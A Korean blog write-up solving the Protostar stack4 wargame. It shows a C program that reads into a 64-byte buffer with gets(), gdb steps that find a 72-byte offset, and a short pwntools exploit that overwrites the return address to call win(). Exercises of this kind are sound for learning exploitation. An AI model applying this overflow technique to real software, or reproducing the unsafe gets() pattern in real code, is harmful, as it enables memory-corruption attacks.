Protostar stack - 4 pwn, return 덮어씌워서 코드 흐름 변경

시스템 해킹|2024. 5. 18. 03:47
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

 

stack 4 번의 문제이다

 

return을 하게되어있어서

main도 중간에 실행이되서  stuck프로그램이라고하는데 중간에 main으로 빠지고 돌아오는데

이떄 return주소를 win으로 바꾸게되면 win이 실행된다

 

return -> ebp -> buffer 

버퍼를 변조하면 win을 실행하게만들수 있다.

 

 

 

gcc -z execstack -no-pie -w -o stack4 stack4.c

gdb ./stack4

 

call 에서 bof가 발생하고

return하는 시점에서 win으로 돌아가서 실행하는 것

 

b *main+38

pattern create 100

run

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 

IAAeAA4AAJAAfAA5AAKAAgAA6AAL

return하는 시점에 스택에있는 데이터를 꺼내와서 실행한다 스택에 있는ㄷ 첫번쨰 있는거를 가져와서 리턴하게된다

 

 

 

IAAeAA4AAJAAfAA5AAKAAgAA6AAL

스택에있는 첫번째문자를 찾아서 72번쨰라는것을 알았다.

 

 

disas win

 

disas win을 통하여 첫번쨰 주소인  0x0000000000401136를 확인한다

 

win_addr = 0x0000000000401136

 

이제 pwn 툴을 활용하여 코드를 작성한다.

 

from pwn import *

p = process('./stack4')

win_addr = p64(0x0000000000401136)
# p64로 묶어주면 64비트짜리 포인트로 동작을 한다 8바이트짜리임.
payload = b'A'*72 + win_addr
# 문자열 앞에 b를 붙여 바이트코드임을 명시 offset 72를 넣어줌

p.sendline(payload)
# 시작하자마자 페이로드를 보낸다
print (p.recvrepeat(1))
# 보낸직후에 리시브리핏을통해 1초동안 데이터를 받는다.

 

exploit 코드를 작성하여 문제를 푸는 코드를 만든다.

 

 

 

 

 

해당 exploit 코드를작성하여 실행 하였을떄  code flow successfully changed 가 동작한것을 확인했다

 

return 할때 win함수를 실행하도록 코드의 흐름을 변경하였다.

 

댓글()